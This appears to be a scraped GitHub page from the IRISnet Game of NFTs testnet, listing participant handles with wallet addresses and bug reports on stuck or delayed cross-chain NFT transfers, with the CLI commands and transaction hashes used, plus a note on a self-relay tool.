gtr1/gouzhiyuan | iaa1y4znzseh5tze7dgqkgzu5ehqu7drqqxngyzk05 |
gtr1/gruberx | iaa1j0fpap4936a7z9kwg2djlr9mj0ymdzdtftp5gt |
gtr1/heejingithub | iaa1gtk6c7ft3mpp7cmsd39mw0ysqa6mf579gq67d5 |
gtr1/hexp1989 | iaa1aw0jfqlg4ulhnleytpydvmx0zem33828awyc6t |
gtr1/i7495 | iaa1dhsf549zh5k6g00e9leu3yx2hyqt7d0uw36cg5 |
gtr1/ibrahimarslann59 | iaa156vzzhjqk9gzsk8fjje3msupj0fv8lyhnalzgl |
gtr1/ibrahimdulger | iaa14pxla3c0umrtfg6l86f9hfusjj63rsd3qg84xy |
gtr1/ilhamnurizha | iaa1vrdvwapp49kgj2x3y9ll3lw3wgmwy0qkpg95qk |
gtr1/ilkeff | iaa1z6u25xdmuvyve3npvt73ta43583h68dtaq2uy4 |
gtr1/imnisen | iaa1z4uncvfqzc8jvz6ejdnllq6g2ze4vudky546z0 |
gtr1/jdiduit | iaa17m8lf984dkhm59jx4n5f3xg4du86w2ur5pk3md |
gtr1/jim380 | iaa1jhkzj8tuel7tvweztqhqff9m0d7lwavz3espx2 |
gtr1/joshlopes | iaa1ytr0nujljr44t7kw2vhe566ecjz8mtn8xgv0y4 |
gtr1/kadiralan | iaa10k6w4fxfaq4g3zkw7fneqdgu6s5j0qd4nz2s27 |
gtr1/kaizhizhang | iaa1qlwgt4rmt3l3xdee9l4mn6rwewwh4kgl2kdugw |
gtr1/kaka0319 | iaa1k2r3hl2w4483e7wh5j6e0lmn5lr9e6k0wxpv5e |
gtr1/kanakattack | iaa1tvun0xdgq9rz353zlqr2jtnm2fnspl3yhrenmh |
gtr1/karat0 | iaa1rhgy4cjklhsa7q76qqn4n9pzcqn5utu3s9w4km |
gtr1/katheeE | iaa1e24s0tz8hkkf905lpaw6s6dtczf2tt99fh4xw2 |
gtr1/kaustubhkapatral | iaa1dtpkz84q8z6ewxjxna3qykmgxy2zskfucrzxnd |
gtr1/keyllli223 | iaa1mrrdmatjtdmhnu605h5g27rf9qj9xr5eew7p4s |
gtr1/kivancbeser | iaa1c3m67xnd6nvqanhndspvy9e9gax3qjww5e29d4 |
gtr1/kleomedes | iaa1qtnhka7wkhlzlat9ju8vytaxmzlqwy5523sjdr |
gtr1/krisboit | iaa1dqwhvwmfha77pljpg2zurc75as6gqq8822yf5y |
gtr1/lamboo | iaa1qzry3k4gntwj9ueqyw502txsrrc5w5cuhxxwyd |
gtr1/landerosua | iaa1khntu8dryrqz2nmr6fswzw753ewdlxdja7z2f5 |
gtr1/leonikaf | iaa1lex8xp3h9dnfu0nvpewse0cygsd9rag6ky8hn5 |
gtr1/lesnikutsa | iaa1vvmhgks8rrns9cwfgegpgs66xclw00jya5h0c4 |
gtr1/liwenjia345 | iaa163u9wks3fm3uskrn38lwmqqnupv4n63jeq9z54 |
gtr1/mahofmahof | iaa1w6m2yzpum76eka7z6zdrpq4zrg6ue33h7ph455 |
gtr1/marcotradenet | iaa13qfqt0htfel3sxzys8hqeql8gyyspn9z7k0nkq |
gtr1/mariowork | iaa15npjzka4pgzs7sgrukmdxxqfed27nhw90w2xh5 |
gtr1/marryton007 | iaa1vzj40p0t54e6cscrvd3kyldlq06k02j0dyr3l6 |
gtr1/mcanvar | iaa1ydpmcer7cgmwxyvv277zv0drlvfh0d7yasxg7z |
gtr1/mccallofthewild | iaa1ztxwfpggyc5eqhev548z8wkwj8hx5k4hxdkqlr |
gtr1/meathewww | iaa1kezghqmxep8apuxc7nv44rnu8anhm3hrmzynmp |
gtr1/mengfanjie95 | iaa1r29cfs58lff6m072hnkglq38kq6958r7js8t28 |
gtr1/mmcel | iaa1rwyh0mvg36s3776mwjxpuxqezvd3503qrhdkaa |
gtr1/nguyenquan9699 | iaa1wq967n8dczefkzun2wfg0mnm882ydqur06lwzq |
gtr1/nodeiistt | iaa1zy9ev09xxr58rfx9te90vdysmuyrwr7evyklj7 |
gtr1/nodestake | iaa184hv0zmw2n9ud3h87mdykz22dr2d7yumpd9lfa |
gtr1/nurtagum | iaa1fxvmkjm5rzr2mhy63qum7y87544nu5hrsgkpcp |
gtr1/nyaironggeng1 | iaa1pczvcvkjaqqmaxpjpxq0kyxc9p5fwn62wukvpv |
gtr1/oOZz | iaa1hp386plt6xu0mnjxjzxp4zf5w5ccjdd85v6cqc |
gtr1/okannako | iaa1vc5l6qu23vee608f5ggwrnqtc4aexaw6gewz9q |
gtr1/okwme | iaa1l5um3uekts87fvjunel8xvv9vadspc33m3c5vx |
gtr1/oldcatv | iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx |
gtr1/omercanyenigun | iaa1h96drj3x7qjvgfscevz7nd2e7eqj8g7nmc8r2k |
gtr1/onurhizlan | iaa1zeqycljyz0a8l0mfam5hkv7xyvmssf0ngm0rzh |
gtr1/osmanbo | iaa1wpp9yffpcljulvnss08ress6y8qtqa3ekg5s8u |
gtr1/petrovalexandra152 | iaa16cy48n46jl4c6at95nda854rn3qxvd4905l2dm |
gtr1/pingpub | iaa1evafzxq68h556shtqcjtz0vkejdd4275qwzfpf |
gtr1/pinosu | iaa1nrtuu9c0dkcxcrd5w7fyppy9l6343fwe5a5pqa |
gtr1/polkavio | iaa1ag44l06ec3kkaf4cx5s7w8dnwdhnhvk06fzt5s |
gtr1/ptts55 | iaa104m3r6tuanzmq8ll4wyuhh5dqqynfvqsey5zjg |
gtr1/remianch | iaa1782pwpag2ve6wgd9wphhd5atm6emlv04udajf0 |
gtr1/rysiman | iaa1dw7uznahn3sklj544pyy73vzxxedpsu0cdna0p |
gtr1/sanshainstar | iaa1zcr3dutv0uh0sr2x2ll4aqlcxyyyk2gh78rmuc |
gtr1/sarsersirsur | iaa1dlg3ez2c6phmf7xk5pk98l9qzehnkqruyfr20w |
gtr1/secard51 | iaa1f70vf6yt675322hh7a38am40he926d8sc66dn9 |
gtr1/selimkafa | iaa12vcrw9cjvsnzs02q2fp9p4lx4pzfhxnk2dn2hd |
gtr1/si35 | iaa132pl57u4qm0d0jax4dsk4jkdfc2mcp6lwu2qmk |
gtr1/silentnoname | iaa1g5arldt04fs4m23p2wjzqwrd5yppu2kchj39v0 |
gtr1/songjiazhun | iaa1z8ukcxmhelz7jncsctl27jmdzmqanqrmtj77z9 |
gtr1/stguller2 | iaa1q8zrfyv7muv7aflr5xzn069zfumy4xs8atc0w6 |
gtr1/studentmtk | iaa1pkeydzqcdrvyeutp4p3q4k2r96sajuf4896wy4 |
gtr1/superdreams | iaa1vwqy94txqy0suva8jam58d995pmuqvh8jy4lxc |
gtr1/sxlmnwb | iaa1xheppmt689acf7mp6je59tmjqgstjghkqrmrm9 |
gtr1/szryldrm | iaa1w67t645d9usgdyvgsamc4y6axpax8ertn4hhwf |
gtr1/taitruong | iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f |
gtr1/techwomen35 | iaa10pxl8fqs7kp68wh7uvsjnhx0vhupanzkjuk67x |
gtr1/timveltman3 | iaa14gzr79v27csvlyperv0gsf5me9jywlthns2r8x |
gtr1/tiramisu26 | iaa17ks9yaes9x9tfrt4eees7mzeck00pzc5tqfu7x |
gtr1/trulacgctcnetwork | iaa1dtgf8l2c6efpkshnm24xzn52nhry8uj99r2gjm |
gtr1/uniqlabsorg | iaa1s3m24ynlwqsr88584mkcaepj6kfx0fn345eh6d |
gtr1/valNodeOne | iaa1djjha5yv5p32fpuw4l99nfnhc4j84gfk64cuz3 |
gtr1/vivensy | iaa17mdu9nwkl5j0a3repexh7wplmvsvupulju3rc8 |
gtr1/waitrouz | iaa1hgwvd0scc7qmyrr97mrkm8yfa9rcxmr3e8qzju |
gtr1/wetezos | iaa179h7vvp3vveng5xrhu95k8vaxgr8d8gzfpqsr9 |
gtr1/williamchong | iaa1wesx8r0696ejnasqarrxd0gm45c4jwjns6n7fx |
gtr1/williamqiao | iaa103pz3cah5cqluek895wh92z9u4v9mf9qy6cjnf |
gtr1/xavier200203 | iaa1ghcwp60uzgylr3kukkppzq457j0tlqw7g3s69u |
gtr1/xbdyhh | iaa1w3t6kvkvhudyrcvveu9yzyh3sv7ykpsthvsepz |
gtr1/xianxianzhou | iaa16hqe6z0d08d007uuwq6xx23srww65atj9fgcpq |
gtr1/xxfs | iaa1c275fwntd765htsaqzffv262yxj99rr6pv8ddc |
gtr1/yekssin | iaa1zj835pe42xlp6cxxr60zk7uw9dvk5q3yxycqj6 |
gtr1/yuanzd123 | iaa1d5cz9wyjlkeymw22meq4c9fl7p5k5kysnv8kp9 |
gtr1/yulianandyka | iaa1pu5asmzmhumwly4umu4qg4k4pysyg2lwdpqrp9 |
gtr1/zanglang | iaa1tez4axjzrfr0h96hug80wgcfuhe402m5ckass2 |
gtr1/zhangweidong123 | iaa1lex2e7swh6wfgwtm5r8p94cjf425pmznucpsv0 |
## Summary of Bug
When sending back an NFT from Omniflix to IrisNET, we have experienced that the NFT either gets back with a big delay or the ownership of the NFT is not transferred from the escrow to the destination address.
## Environment
## Steps to Reproduce
1.- Create collection on IrisNET
2.- Send NFT from IrisNET to Omniflix
3.- Transfer back from Omniflix to Irisnet
omniflixhubd tx nft-transfer transfer nft-transfer channel-24 iaa1m8juq54rm6tar0nkf50m436u66mlf8y7sx0x8w ibc/8538CEDC73F1063C104607F5457D0F5A3649E18FC4ECF57A7A76EF8636547DB4 token002 --gas auto --gas-adjustment 1.5 --gas-prices 0.025uflix --from BMWallet --node http://65.21.93.56:26657 --chain-id gon-flixnet-1
-->CASE 1: NFT HAS NOT BEEN TRANSFERRED FROM ESCROW TO OWNER
TxHash 40FD09ECFC47ECA0D4997FA9A829595B7FE7E62DD4E92BE7EAA2BAE6E18472A7
omniflixhubd tx nft-transfer transfer nft-transfer channel-24 iaa1m8juq54rm6tar0nkf50m436u66mlf8y7sx0x8w ibc/8538CEDC73F1063C104607F5457D0F5A3649E18FC4ECF57A7A76EF8636547DB4 token003 --gas auto --gas-adjustment 1.5 --gas-prices 0.025uflix --from BMWallet --node http://65.21.93.56:26657 --chain-id gon-flixnet-1
-->CASE 2: TOOK A LONG TIME TO TRANSFER NFT FROM ESCROW TO OWNER
TxHast 7FE8143DDF01113E6FFF24D43C512AA0DD2C8D724A8E529B7C9B85FE7F38F0AC
4.- Query collection on Irisnet, the NFT is not transferred back to owner on IrisNET or transferred after a long delay.
omniflixhubd query onft collection ibc/8538CEDC73F1063C104607F5457D0F5A3649E18FC4ECF57A7A76EF8636547DB4
iris query nft collection workshop
## Expected and Actual Behavior
Actual: NFT either arrives late or does not arrive.
Preferred: NFT should arrive in less than 3 minutes to the destination account.
## Error Stack
No noticable errors.
## Additional Context
Sunday 5/3/2023, around 20:00 UTC.
I added the ability to self-relay using my GoN CLI in two different ways:
1: By transfering directly with the CLI and a --self-relay
flag
2: By using a specific command that can relay any transaction if you know source-chain, destination-chain and the original transaction hash.
The self-relaying has proved robust and very useful. It re-uses a solid amount of code from both the GoN CLI itself and the go relayer (https://github.com/cosmos/relayer). It actually requires the go-relayer to be configured first, but the CLI relays the packages itself (it does not start the Update: It is now entirely zero-config setup: https://twitter.com/GjermundGaraba/status/1639621796105207810rly
binary or anything).
The documentation for setup can be found here:
https://github.com/gjermundgaraba/gon-tools/blob/main/gon-cli/self-relay.md
The self-relaying code is mainly to be found here: https://github.com/gjermundgaraba/gon-tools/tree/main/gon-cli/gorelayer
An example usage of it can be found here: https://github.com/gjermundgaraba/gon-tools/blob/main/gon-cli/cmd/root_self_relay.go
To show that this really works, I also did the race challenges with a scripted version of this and go through the whole first flow in 25 blocks. And I included some safety sleeps to make sure blocks were settled in between things. This was while most packages were stuck and the channels full of spam. Proof of this can be found in my evidence.xslx
This can easily be extended to work outside of GoN, the code can use for instance Strangelove's Lens to get most of its configuration.
The relayer has been used by a lot of individuals during GoN, and also for helping out others that got their transactions stuck using different tools.
Cannot get from correct using command:
junod q wasm contract-state smart juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a '{"nft_contract": {"class_id" : "wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-120/wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-207/supermintG"}}'
This happens when I transfer NFT following this flow: i --(1)--> s --(1)--> j --(1)
The following channel is deprecated and the transaction may fail:
wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-211 <> wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-93
Therefore I am using the new channel
wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-230 <> wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-120
Transaction hash:
i --(1)--> s --(1): 9E8F18E127CA44B9002472712E6D969A5B0E6AB407A193950B8ED3F19541F35D
s --(1)--> j --(1): A5CCA2462B680A476D86A1486F2B5EF5FBB34FACAEC120023580DD83D8A72162
It should return a class-hash. It returns null.
I have checked others transfer from the old channel are working correctly.
For example,
junod q wasm contract-state smart juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a '{"nft_contract": {"class_id" : "wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-93/wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-207/a2001"}}'
returns juno18wmuflvdm7klx06js8tq0hhadmhxj65qxg2nncgj8u5z08cus0psk2kp9p
I send gir2/osmanbo nft uptick to omniflix but nft doesn't show up anywhere. After waiting for a while, I made a self-relayer but it didn't work.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.